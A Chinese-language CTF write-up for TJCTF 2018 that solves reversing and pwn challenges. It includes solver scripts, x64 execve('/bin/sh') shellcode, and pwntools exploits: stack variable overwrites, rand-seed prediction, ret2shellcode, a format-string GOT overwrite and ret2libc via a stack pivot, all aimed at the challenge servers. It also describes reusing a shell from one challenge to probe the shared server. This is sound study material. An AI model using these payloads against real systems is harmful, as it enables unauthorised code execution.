TJCTF2018_Re&&PWN

面向高中生的CTF,题目很简单,记录一下过程和几个脚本

0x01 Validator

首先定义了一段字符串

1
2
3
4
5
6
7
8
9
10
11
mov     dword ptr [ebp+s1], 74636A74h
mov [ebp+var_34], 756A7B66h
mov [ebp+var_30], 635F3735h
mov [ebp+var_2C], 5F6C6C34h
mov [ebp+var_28], 725F336Dh
mov [ebp+var_24], 72337633h
mov [ebp+var_20], 365F3335h
mov [ebp+var_1C], 665F6430h
mov [ebp+var_18], 5F6D3072h
mov [ebp+var_14], 5F77306Eh
mov [ebp+var_10], 7D6E30h

提取出来是:

1
tjctf{ju57_c4ll_m3_r3v3r53_60d_fr0m_n0w_0n}

而后对其中几个字符进行了替换:

1
2
3
4
5
6
7
mov     byte ptr [ebp+var_28+3], 33h
mov byte ptr [ebp+var_24+2], 33h
mov byte ptr [ebp+var_20], 33h
mov byte ptr [ebp+var_24], 35h
mov byte ptr [ebp+var_24+1], 72h
mov byte ptr [ebp+var_20+1], 72h
mov byte ptr [ebp+var_24+3], 76h

直接动态调试过程中copy下来即可:
flag

0x02 Python Reversing

source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import numpy as np

flag = 'redacted'

np.random.seed(12345)
arr = np.array([ord(c) for c in flag])
other = np.random.randint(1,5,(len(flag)))
arr = np.multiply(arr,other)

b = [x for x in arr]
lmao = [ord(x) for x in ''.join(['ligma_sugma_sugondese_'*5])]
c = [b[i]^lmao[i] for i,j in enumerate(b)]
print(''.join(bin(x)[2:].zfill(8) for x in c))

# original_output was 1001100001011110110100001100001010000011110101001100100011101111110100011111010101010000000110000011101101110000101111101010111011100101000011011010110010100001100010001010101001100001110110100110011101

很显然seed确定,从前向后按位破解即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import numpy as np

key="1001100001011110110100001100001010000011110101001100100011101111110100011111010101010000000110000011101101110000101111101010111011100101000011011010110010100001100010001010101001100001110110100110011101"
print(len(key))
ans2=""
flag = ''
for q in range(25):
for w in range(30,127):
flag=ans2+chr(w)
np.random.seed(12345)
arr = np.array([ord(c) for c in flag])
other = np.random.randint(1,5,(len(flag)))
arr = np.multiply(arr,other)

b = [x for x in arr]
lmao = [ord(x) for x in ''.join(['ligma_sugma_sugondese_'*5])]
c = [b[i]^lmao[i] for i,j in enumerate(b)]
t=''.join(bin(x)[2:].zfill(8) for x in c)
if t[len(t)-9:len(t)]==key[len(t)-9:len(t)]:
ans2+=chr(w)
print(ans2)
break

# original_output was 1001100001011110110100001100001010000011110101001100100011101111110100011111010101010000000110000011101101110000101111101010111011100101000011011010110010100001100010001010101001100001110110100110011101

0x03 Bad Cipher

source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
message = "[REDACTED]"
key = ""

r,o,u,x,h=range,ord,chr,"".join,hex
def e(m,k):
l=len(k);s=[m[i::l]for i in r(l)]
for i in r(l):
a,e=0,""
for c in s[i]:
a=o(c)^o(k[i])^(a>>2)
e+=u(a)
s[i]=e
return x(h((1<<8)+o(f))[3:]for f in x(x(y)for y in zip(*s)))

print(e(message,key))

hint:

1
2
3
Written by nthistle
My friend insisted on using his own cipher program to encrypt this flag, but I don't think it's very secure. Unfortunately, he is quite good at Code Golf, and it seems like he tried to make the program as short (and confusing!) as possible before he sent it.
I don't know the key length, but I do know that the only thing in the plaintext is a flag. Can you break his cipher for me?

原程序进行了简化
还原一下:

1
2
3
4
5
6
7
8
9
10
11
def e(mes,k):
l=len(k)
s=[mes[i::l]for i in range(l)]
print(s)
for i in range(l):
a,e=0,""
for c in s[i]:
a=ord(c)^ord(k[i])^(a>>2)
e+=chr(a)
s[i]=e
return "".join(hex(ord(f))[2:]for f in "".join("".join(y)for y in zip(*s)))

可以看到
类似AES加密中间一步的操作
根据hint:

1
I don't know the key length, but I do know that the only thing in the plaintext is a flag. Can you break his cipher for me?

密钥长度未知,但是原文只有flag
说明:

1
len(flag)%len(key)=0

否则原文最终会丢弃取模后的余数,导致最终密文不完整,也就无法反解出flag
根据密文:

1
473c23192d4737025b3b2d34175f66421631250711461a7905342a3e365d08190215152f1f1e3d5c550c12521f55217e500a3714787b6554

len(flag)=56
猜测len(key)=7或者8
根据算法解密,并根据flag开头为”tjctf{“按位爆破key前6位,再随机组合爆破后几位(猜测1或2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
m="473c23192d4737025b3b2d34175f66421631250711461a7905342a3e365d08190215152f1f1e3d5c550c12521f55217e500a3714787b6554".decode("hex")
ans2="tjctf{"
for qw in range(32,127):
for er in range(32,127):
# for ty in range(32,127):
k="3V@mK<"+chr(qw)+chr(er)
l=len(k)
s=[m[i::l]for i in range(l)]
for i in range(l):
a,e="",""
a=s[i][0]
t=chr(ord(s[i][0])^ord(k[i]))
for c in s[i][1:]:
e+=chr(ord(c)^ord(k[i])^(ord(a)>>2))
a=c
s[i]=t+e
ans="".join(f for f in "".join("".join(y)for y in zip(*s)))
if ans[len(ans)-1:len(ans)]=="}":
print k,ans

(其实这里可以对ans进行过滤,使其只print全为可见字符的一组,不过直接跑出来锁定的数据也比较少,可以直接找到flag)

0x04 Bricked Binary

hint:

1
Earlier, I input my flag to this image and received 22c15d5f23238a8fff8d299f8e5a1c62 as the output. Unfortunately, later on I broke the program and also managed to lose my flag. Can you find it for me?

提示:I broke the program
看到程序这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mov     [ebp+src], offset unk_8048684
mov eax, [ebx+4]
add eax, 4
mov eax, [eax]
sub esp, 8
push [ebp+src] ; src
push eax ; dest
call _strcpy
add esp, 10h
mov eax, [ebx+4]
add eax, 4
mov eax, [eax]
sub esp, 0Ch
push eax ; s
call hash

而unk_8048684处为”db 0”
显然这个”call _strcpy”有问题
看到hash函数对命令行参数进行了处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl hash(char *s)
{
int result; // eax
int i; // [esp+4h] [ebp-14h]
signed int v3; // [esp+8h] [ebp-10h]

v3 = strlen(s);
for ( i = 0; ; ++i )
{
result = i;
if ( i >= v3 )
break;
s[v3 - 1 - i] = LOBYTE(u[i]) ^ LOBYTE(v[s[v3 - 1 - i]]);
}
return result;
}

利用程序定义好的u和v两个数组进行一种简单的异或加密
密文输出:22c15d5f23238a8fff8d299f8e5a1c62
首先可以直接提取u和v数组后逆算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ans="22c15d5f23238a8fff8d299f8e5a1c62"
flag=""
k="81000000CD0000000A00000073000000B30000003B00000032000000B60000006E0000007C0000003100000057000000D1000000C5000000150000003A00000092000000B4000000E200000051000000AE000000420000005500000041000000E100000070000000300000001A0000000200000084000000A2000000E7000000B90000004D0000003C000000A30000000B000000B20000002B000000AB000000460000007E000000240000009C000000850000006F000000E4000000C40000005F000000CE0000004F0000000100000082000000FD0000006C000000AC000000DF000000640000000C000000A1000000E30000009E0000005D000000BB000000FE000000D30000002900000096000000C7000000F3000000FC00000065000000AA0000008A0000005A000000F5000000B700000038000000A50000008D000000D80000008E0000003900000007000000DE000000D50000001100000080000000E50000008900000035000000FF000000DD000000A60000001F000000230000000D000000C000000093000000C8000000670000001700000068000000180000008B00000062000000CC0000009D000000DA0000005600000066000000C60000007F000000E600000086000000E000000022000000C20000000F0000001B000000F60000002D0000006300000033000000910000007100000059000000EB000000A9000000D200000083000000BF0000003D0000006A00000008000000F9000000A70000004000000000000000E800000052000000BE000000FA0000004E0000002600000076000000CF000000540000007D0000001900000006000000F8000000D00000007400000028000000050000003F000000A00000001E000000C10000004500000049000000D4000000AF000000030000009B0000002F000000EE000000270000009A000000A400000097000000480000004A000000D90000003700000047000000AD00000044000000CA000000EF000000D7000000B8000000DB000000F00000009F0000005800000053000000EA0000002A0000007A00000036000000870000008C000000B50000007200000088000000B100000009000000F1000000160000003E0000006900000014000000EC00000025000000BC000000ED000000BA000000BD0000002C000000C9000000DC00000013000000F4000000750000001D0000004B000000C300000034000000100000006B00000077000000980000005E0000005C000000990000008F0000001200000094000000CB0000002E0000004C000000E900000020000000F70000004300000060000000FB0000006D0000001C000000780000000E000000B0000000D600000050000000790000007B0000006100000095000000A8000000040000005B000000F20000009000000021000000"
key="040000000700000005000000080000000C0000000A00000006000000020000000D00000001000000000000000E000000090000000B000000030000000F000000CA000000DE000000140000009400000029000000E9000000440000004B00000084000000E4000000D70000003A000000620000003F000000EF000000B70000007A0000009F000000F7000000FD0000005600000052000000B9000000C70000003E0000005C000000C4000000D5000000E1000000C900000093000000760000004800000088000000BF00000067000000A4000000EA000000D000000017000000CE00000098000000BB000000AC0000001C000000AB000000C100000026000000A600000083000000DD00000010000000960000009D00000080000000190000009C000000AF00000091000000D8000000AD000000A5000000B400000071000000DA000000F90000008C00000077000000A800000075000000A7000000550000003B000000FE000000E8000000ED0000006100000024000000950000005400000063000000AE0000004A000000DF0000003100000036000000F30000008D0000001D00000059000000470000005D00000074000000C00000006C0000002200000069000000BE000000EE0000008A00000034000000D30000001500000070000000BC000000F000000097000000F4000000E6000000D40000004C000000F100000079000000B800000073000000DC00000035000000D2000000CB0000005F0000008E000000C80000003800000032000000FB000000FA0000007B000000CD0000005A00000090000000A1000000A3000000580000008B000000B0000000D9000000B30000007D000000EB000000D100000078000000FC0000008600000050000000BD00000039000000C20000005E000000BA00000030000000230000004300000028000000CF0000006E000000E500000051000000DB000000B5000000A9000000E700000020000000210000006A000000B2000000F600000042000000E3000000E00000004F00000027000000810000002B0000007E000000A2000000F500000089000000D6000000FF0000001200000046000000400000009A000000600000007F0000002D000000130000001F00000087000000CC0000001A00000092000000110000002C000000B10000005700000085000000C6000000B600000066000000820000006B000000C30000001B000000160000006F00000037000000E2000000530000001E0000006D0000004E00000045000000640000002F00000072000000C5000000650000007C000000250000004100000049000000F80000003C0000002E000000AA000000330000008F0000004D000000680000009E0000005B0000003D000000EC00000099000000A00000009B00000018000000F20000002A00"
for i in range(len(ans)/2):
key1=int(ans[32-(i+1)*2:32-(i+1)*2+2],16)
key2=int(key[i*8:i*8+2],16)
key3=key1^key2
key4=hex(key3)[2:]
if len(key4)==1:
key4="0"+key4
key4=key4.upper()
key6=k.find(key4)/8
if key6<30:
key6=k.rfind(key4)/8
flag+=chr(key6)
print flag[::-1]

或者:
可以看到加密过程中最后的位置不受前面影响,也就是可以根据密文从后向前逐位爆破出flag
首先patch掉程序,直接将”call _strcpy”nop掉即可(不然strcpy会使我们在命令行输入的任何字符串变为\x00),调用patch好的程序爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
ans="22c15d5f23238a8fff8d299f8e5a1c62"
flag=""
for i in range(16):
for j in range(30,127):
p=process(["./re_4",chr(j)+flag])
s=p.recv()[:2]
if s==ans[32-(i+1)*2:32-(i+1)*2+2]:
flag=chr(j)+flag
p.close()
break
p.close()
print flag

0x05 Math Whiz

最基本的变量覆盖
看到关键(获取flag)处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
.text:565C9A08                 cmp     [ebp+var_C], 0
.text:565C9A0C jz short loc_565C9A3F
.text:565C9A0E sub esp, 8
.text:565C9A11 lea eax, [ebp+var_30]
.text:565C9A14 push eax
.text:565C9A15 lea eax, (aSuccessfullyRe - 565CAFA8h)[ebx] ; "Successfully registered '%s' as an admi"...
.text:565C9A1B push eax ; format
.text:565C9A1C call _printf
.text:565C9A21 add esp, 10h
.text:565C9A24 sub esp, 8
.text:565C9A27 lea eax, (aRedacted - 565CAFA8h)[ebx] ; "-----REDACTED-----"
.text:565C9A2D push eax
.text:565C9A2E lea eax, (aHereIsYourFlag - 565CAFA8h)[ebx] ; "Here is your flag: %s\n"
.text:565C9A34 push eax ; format
.text:565C9A35 call _printf
.text:565C9A3A add esp, 10h
.text:565C9A3D jmp short loc_565C9A55
.text:565C9A3F ; ---------------------------------------------------------------------------
.text:565C9A3F
.text:565C9A3F loc_565C9A3F: ; CODE XREF: main+1A0↑j
.text:565C9A3F sub esp, 8
.text:565C9A42 lea eax, [ebp+var_30]
.text:565C9A45 push eax
.text:565C9A46 lea eax, (aSuccessfullyRe_0 - 565CAFA8h)[ebx] ; "Successfully registered '%s' as an user"...
.text:565C9A4C push eax ; format
.text:565C9A4D call _printf
.text:565C9A52 add esp, 10h
.text:565C9A55
.text:565C9A55 loc_565C9A55: ; CODE XREF: main+1D1↑j
.text:565C9A55 mov eax, 0
.text:565C9A5A lea esp, [ebp-8]
.text:565C9A5D pop ecx
.text:565C9A5E pop ebx
.text:565C9A5F pop ebp
.text:565C9A60 lea esp, [ecx-4]
.text:565C9A63 retn

两种register方式
我们需要ebp+var_C不为0即可
这里我们的输入流调用了input
查看input:

1
fgets(s, (signed int)(a2 * 16.0), stdin);

而:

1
2
printf("Recovery Pin: ");
input(v30, 4.0);

可以向v30读入64字节:
其中:

1
2
3
char v30[4]; // [esp+60h] [ebp-44h]
ebp+var_C:
int v43; // [esp+98h] [ebp-Ch]

可以利用v30覆盖掉ebp+var_C从而获取flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p=remote("problem1.tjctf.org",8001)
p.recvuntil("Full Name: ")
p.sendline("Kirin")
p.recvuntil("Username: ")
p.sendline("Kirin")
p.recvuntil("Password: ")
p.sendline("kirin")
p.recvuntil("Recovery Pin: ")
p.sendline("A"*64)
p.recvuntil("Email: ")
p.sendline("Kirin")
p.recvuntil("Address: ")
p.sendline("Kirin")
p.recvuntil("Biography: ")
p.sendline("Kirin")
p.interactive()

0x06 Tilted Troop

同样是很简单的变量覆盖
看到在fight函数中可以输出flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall fight(__int64 a1, int a2)
{
unsigned int v3; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]

v3 = 0;
for ( i = 0; i < a2; ++i )
v3 += *(char *)(i + a1);
if ( v3 != 400 )
return printf("Your team had %d strength, but you needed exactly %d!\n", v3, 400LL);
puts("Wow! Your team is strong! Here, take this flag:");
return puts("[REDACTED]");
}

我们需要让a1指针指向的长为a2的char型数组之和为400
main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t rgid; // ST04_4
char *v4; // rbx
char *dest; // ST08_8
__int64 v7[8]; // [rsp+10h] [rbp-70h]
char *v8; // [rsp+50h] [rbp-30h]
int v9; // [rsp+58h] [rbp-28h]
unsigned __int64 v10; // [rsp+68h] [rbp-18h]

v10 = __readfsqword(0x28u);
rgid = getegid();
setresgid(rgid, rgid, rgid);
setbuf(stdout, 0LL);
v9 = 0;
v8 = (char *)malloc(0x20uLL);
puts("Commands:\n A <name> - Add a team member\n F - Fight the monster\n Q - Quit");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
gets(&input, 255LL, stdin);
if ( input != 65 )
break;
if ( v9 <= 8 )
{
v4 = &v8[v9];
*v4 = rand() % 10;
dest = (char *)malloc(0x100uLL);
strcpy(dest, src);
v7[v9++] = (__int64)dest;
}
else
{
puts("Your team is too large!");
}
}
if ( input != 70 )
break;
fight((__int64)v8, v9);
}
if ( input == 81 )
break;
puts("Try again");
}
puts("Thanks for playing!");
return 0;
}

关注传入fight的v8
看到:

1
2
__int64 v7[8]; // [rsp+10h] [rbp-70h]
char *v8; // [rsp+50h] [rbp-30h]

以及:

1
2
3
4
5
6
7
8
if ( v9 <= 8 )
{
v4 = &v8[v9];
*v4 = rand() % 10;
dest = (char *)malloc(0x100uLL);
strcpy(dest, src);
v7[v9++] = (__int64)dest;
}

当v9为8,v7[v9]恰好可以覆盖指针v8
看到:

1
2
3
dest = (char *)malloc(0x100uLL);
strcpy(dest, src);
v7[v9++] = (__int64)dest;

最终覆盖掉v8的是dest指针
dest指向的字符串即为src指向的字符串
src在bss段,且位于input后方

1
2
3
4
.bss:000055F52322D040 input           db ?                    ; DATA XREF: main+80↑o
.bss:000055F52322D040 ; main+91↑r ...
.bss:000055F52322D041 align 2
.bss:000055F52322D042 ; char src[254]

所以我们最后一次(第九次)输入的命令为”A dddd”(且之前没有输入长于4字节的teamname,4*ord(“d”)=100):

1
2
3
4
5
6
7
8
9
from pwn import *

p=remote("problem1.tjctf.org",8002)
p.recvuntil("Quit")
for i in range(8):
p.sendline("A")
p.sendline("A dddd")
p.sendline("F")
p.interactive()

0x07 Future Canary Lab

简单的伪随机&&变量覆盖
main函数中:

1
2
3
v4 = time(0);
srand(v4);
interview(0);

显然seed可预测
interview:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __cdecl __noreturn interview(int a1)
{
int v1[10]; // [esp+8h] [ebp-A0h]
char s; // [esp+30h] [ebp-78h]
int v3[10]; // [esp+70h] [ebp-38h]
int j; // [esp+98h] [ebp-10h]
int i; // [esp+9Ch] [ebp-Ch]

for ( i = 0; i <= 9; ++i )
{
v1[i] = rand();
v3[i] = v1[i];
}
puts("Welcome to the Future Canary Lab!");
puts("What is your name?");
gets(&s);
for ( j = 0; j <= 9; ++j )
{
if ( v3[j] != v1[j] )
{
puts("Alas, it would appear you lack the time travel powers we desire.");
exit(0);
}
}
if ( a1 - i + j == 0xDEADBEEF )
{
puts("You are the one. This must be the choice of Stacks Gate!");
printf("Here is your flag: %s\n", "-----REDACTED-----");
}
else
{
puts("Begone, FBI Spy!");
}
exit(0);
}

获得flag需要:

1
2
a1 - i + j == 0xDEADBEEF
其中a1=0

看到:

1
gets(&s);

且在gets前i就已在程序确定(j在后来的for ( j = 0; j <= 9; ++j )确定):
但覆盖”i”就会覆盖掉 for ( i = 0; i <= 9; ++i )循环中生成的10个随机数,而在for ( j = 0; j <= 9; ++j )中对这10个随机数进行了检测,并且用于检测的v1数组无法被覆盖,不过time(0)生成的seed可预测,先在特定时间数内生成一组随机数,在预计的时间运行程序来覆盖v3即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<time.h>
#include<stdlib.h>
int main(){
int a=time(0);
printf("%d\n",a);
a=1533965040;
srand(a);
printf("%d\n",a);
for(int i=0;i<=9;i++)
printf("%d,",rand());
printf("\n");
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import time

key=[135671108,595838664,1011601882,513191674,2009753104,349832342,331399739,542649975,2075767462,2096169090]
key2=""
for i in key:
key2+=p32(i)
print int(time.time())
while True:
if int(time.time())==1533965040:
p=remote("problem1.tjctf.org",8000)
print int(time.time())
print p.recvuntil("?")
payload="A"*64+key2+"AAAA"+p32(0x2152411b)
p.sendline(payload)
p.interactive()

0x08 Online Banking

简单的ret2shellcode,利用bss段执行shellcode
首先查看程序保护:

没有任何保护
查看程序,发现:

1
fgets(name, 33, stdin);

读入的name可以容下shellcode(有时候长度不够,可以考虑name紧接着的地方可不可控,使几段数据可以连接组成shellcode)
name位于:

1
.bss:00000000006010A0 name            db 21h dup(?)           ; DATA XREF: main+78↑o

查看.bss段权限:
bss
vmmap
可以执行
x64下shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
"\x6a\x3b"                       			 # pushq	$0x3b
"\x58" # pop %rax
"\x99" # cltd
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" # mov $0x68732f6e69622f2f, %rbx
"\x48\xc1\xeb\x08" # shr $0x8, %rbx
"\x53" # push %rbx
"\x48\x89\xe7" # mov %rsp, %rdi
"\x52" # push %rdx
"\x57" # push %rdi
"\x48\x89\xe6" # mov %rsp, %rsi
"\xb0\x3b" # mov $0x3b, %al
"\x0f\x05" # syscall

exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

payload="a"*9+p64(0x00000000deadbeef)+p64(0x0000000006010a0)
payload2="\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
p=remote("problem1.tjctf.org",8005)
print p.recvuntil("Name: ")
p.sendline(payload2)
print p.recvuntil("PIN: ")
p.sendline("aaaa")
print p.recvuntil("quit")
p.sendline("d")
print p.recvuntil("PIN: ")
p.sendline(payload)
p.interactive()

0x09 Secure Secrets

简单的格式化字符串&&GOT表修改
查看程序保护:

发现No PIE
看到get_message函数:
关键点:

1
2
3
printf("\n");
printf(a1);
printf("\n");

且a1可控,显然这里有格式化字符串漏洞
同时看到函数get_secret:

1
2
3
4
5
6
7
8
9
10
v1 = fopen("flag.txt", "r");
if ( v1 )
{
__isoc99_fscanf(v1, "%s", &v2);
printf("Here is your secret: %s\n", &v2);
}
else
{
puts("Secret could not be accessed.");
}

在get_message函数中:

1
2
3
4
printf("\n");
printf(a1);
printf("\n");
puts("Tada! Hope you liked our service!");

且在main中:

1
2
get_message(&v4, &s);
exit(0);

所以我们修改got中puts、printf或者exit地址(但修改printf老是失效,不知道什么原因)来跳转到get_secret
利用格式化漏洞修改GOT表中特定函数地址为get_secret函数地址:
Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

e=ELF("./secret")
p=remote('problem1.tjctf.org', 8008)
secret_addr=e.symbols["get_secret"]
puts_got_addr=e.got["puts"]
payload=p32(puts_got_addr)
payload+=p32(puts_got_addr+2)
payload+='%34571c'
payload+='%35$n'
payload+='%33009c'
payload+='%36$n'
payload+='\n'
p.recvuntil("> ")
p.sendline("a")
p.recvuntil("> ")
p.sendline(payload)
p.recvuntil("> ")
p.sendline("a")
p.interactive()

0x0A Super Secure Secrets

可能有点非预期
题目和Secure Secrets有点像(实际上我先做的Super Secure Secrets),不过没有了get_secret
题目没给libc文件
先看保护:

No PIE
第一反应是利用ret2_dl_runtime_resolve
首先看到:
main:

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
lets_not_be_friends(*(_QWORD *)&argc, argv, envp);
secure_service();
return 0;
}

secure_service函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 secure_service()
{
char v1; // [rsp+0h] [rbp-130h]
char v2; // [rsp+20h] [rbp-110h]
char s; // [rsp+A0h] [rbp-90h]
unsigned __int64 v4; // [rsp+128h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("Welcome to the Super Secure Service TM");
puts("FREE TRIAL VERSION -- Limited to viewing only one message.");
puts("Upgrade to PREMIUM for only $999!");
putchar(10);
print_help(10LL);
while ( 1 )
{
printf("> ");
fgets(&s, 128, stdin);
switch ( s )
{
case 104:
print_help(&s);
continue;
case 115:
set_message(&v2, &v1);
continue;
case 117:
upgrade();
continue;
case 118:
get_message(&v2, &v1);
return __readfsqword(0x28u) ^ v4;
case 120:
return __readfsqword(0x28u) ^ v4;
default:
continue;
}
}
}

get_message:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 __fastcall get_message(char *a1, const char *a2)
{
signed int i; // [rsp+1Ch] [rbp-54h]
char v4[6]; // [rsp+20h] [rbp-50h]
char v5; // [rsp+26h] [rbp-4Ah]
char s2; // [rsp+30h] [rbp-40h]
char s; // [rsp+40h] [rbp-30h]
unsigned __int64 v8; // [rsp+68h] [rbp-8h]

v8 = __readfsqword(0x28u);
puts("Message Password:");
do
fgets(&s, 32, stdin);
while ( strcmp(a2, &s) );
puts("Secret Message:");
puts("====================");
printf(a1, &s, a2);
puts("====================");
for ( i = 0; i <= 5; ++i )
v4[i] = byte_401238[rand() % 62];
v5 = 0;
puts("As a free trial user, please complete the following captcha for our monitoring purposes.");
printf("Captcha: %s\n", v4);
fgets(&s2, 7, stdin);
if ( !strcmp(v4, &s2) )
{
puts("Thank you for your cooperation...");
}
else
{
memset(a1, 0, 0x80uLL);
puts("Incorrect captcha, your message was removed from our database.");
}
return __readfsqword(0x28u) ^ v8;
}

get_message依然存在格式化字符串漏洞
a1可控
不过复用有些问题,首先考虑复用

复用get_message

get_message后直接退出(因为读取一次信息)
且upgrade函数没有作用(无法升级功能)
这样我们只能获取一次地址,这样我们只能获取地址,无法在获取的同时确定需要修改的目标地址以及需要修改目标地址成什么数据
所以首先解决程序复用问题,当我们进入get_message
我们能确定的是rbp位置存放了secure_service的栈帧底部
我们无法确定将其修改成什么
不过我们可以使用$hhn修改secure_service的rbp最后一位来使其适当变小来盲打返回地址:
看到secure_service和main返回方式:

1
2
leave
retn

首先我们确定获取两个地址:栈地址和libc地址
栈地址获取get_message的ebp即可
对于libc地址,调试过程可以发现:
fgets_AD
相对get_message特定某处永远是fgets+0xad的地址
(这里说一下非预期
中间因为有rbp的盲打,继续ret2_dl_runtime_resolve感觉有些麻烦
上面Online Banking,这题可以让我们拿到shell
然后因为题目同一域名,猜测是同一服务器
拿到shell后去readelf服务器的libc.so.6(或其他方法)即可获得libc的文件版本
所以这里采用ret2libc)
所以我们使用%17$16llx%20$16llx%20$hhn获取ebp&&fgets_AD_addr地址,并改变secure_servic的rbp的最后一位,来控制main返回时的rsp,这时候rsp会指向原ebp&0xfffffffffffffff0+0x20(因为之前输出了0x20字节(为了对其内存))
这时候整体栈帧迁移向低一些的地址:
看到

1
2
3
4
.text:0000000000400DA0 var_130= byte ptr -130h
.text:0000000000400DA0 var_110= byte ptr -110h
.text:0000000000400DA0 s= byte ptr -90h
.text:0000000000400DA0 var_8= qword ptr -8

rsp会落到s(即我们输入的命令字符)
如果我们把这一片布置成secure_servic的某处地址,为了保证程序不会崩溃(维护rbp),选择跳转到secure_servic的mov rbp,rsp处:

1
.text:0000000000400DA1 mov     rbp, rsp

(不过有时候原ebp末位太大或者太小会无法成功)

ROP

下面整个栈地址都可以通过调试得出
即可再次通过get_message的格式化字符串修改get_message返回地址
首先想到的是system(“/bin/sh”)
所以我们需要布置栈段,构造rop链调取system:

1
get_message返回地址处:pop_rdi_ret->bin_sh_addr->system_addr

1
ROPgadget --binary ./super_secret  --ropchain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
Gadgets information
============================================================
0x0000000000400e2f : adc eax, dword ptr [rax] ; jmp rax
0x0000000000400759 : adc eax, dword ptr [rcx] ; add byte ptr [rax], al ; add rsp, 8 ; ret
0x0000000000400dc7 : add al, bpl ; ret 0xfff9
0x0000000000400dc8 : add al, ch ; ret 0xfff9
0x0000000000400f9f : add bl, dh ; ret
0x0000000000400f9d : add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400f9b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400f1c : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004008dc : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000400f9c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400f1d : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040075b : add byte ptr [rax], al ; add rsp, 8 ; ret
0x0000000000400f1e : add byte ptr [rax], al ; leave ; ret
0x000000000040146a : add byte ptr [rax], al ; movsd dword ptr [rdi], dword ptr [rsi] ; idiv edi ; jmp qword ptr [rax]
0x00000000004008de : add byte ptr [rax], al ; pop rbp ; ret
0x0000000000400f9e : add byte ptr [rax], al ; ret
0x0000000000400948 : add byte ptr [rcx], al ; ret
0x0000000000400f1f : add cl, cl ; ret
0x0000000000400944 : add eax, 0x20176e ; add ebx, esi ; ret
0x0000000000400e97 : add eax, 0xfff913e8 ; dec ecx ; ret
0x0000000000400d55 : add eax, 0xfffa55e8 ; dec ecx ; ret
0x0000000000400b0e : add eax, 0xfffc9ce8 ; dec ecx ; ret
0x0000000000400949 : add ebx, esi ; ret
0x0000000000400bdf : add esp, 0x28 ; pop rbx ; pop rbp ; ret
0x000000000040075e : add esp, 8 ; ret
0x0000000000400bde : add rsp, 0x28 ; pop rbx ; pop rbp ; ret
0x000000000040075d : add rsp, 8 ; ret
0x00000000004009ce : and byte ptr [rax - 0x77], cl ; ret 0x20be
0x00000000004008d2 : and byte ptr [rax], ah ; jmp rax
0x0000000000400947 : and byte ptr [rax], al ; add ebx, esi ; ret
0x0000000000400f79 : call qword ptr [r12 + rbx*8]
0x0000000000400f7a : call qword ptr [rsp + rbx*8]
0x000000000040096e : call rax
0x0000000000400b77 : dec dword ptr [rax + 0x39] ; ret
0x00000000004009ca : dec dword ptr [rax - 0x73] ; and byte ptr [rax - 0x77], cl ; ret 0x20be
0x0000000000400a25 : dec dword ptr [rax - 0x73] ; xor byte ptr [rax - 0x77], cl ; ret 0x20be
0x0000000000400b13 : dec ecx ; ret
0x0000000000400f7c : fmul qword ptr [rax - 0x7d] ; ret
0x000000000040146d : idiv edi ; jmp qword ptr [rax]
0x0000000000400969 : int1 ; push rbp ; mov rbp, rsp ; call rax
0x00000000004008cd : je 0x4008e8 ; pop rbp ; mov edi, 0x6020a0 ; jmp rax
0x000000000040091b : je 0x400930 ; pop rbp ; mov edi, 0x6020a0 ; jmp rax
0x0000000000400968 : je 0x400961 ; push rbp ; mov rbp, rsp ; call rax
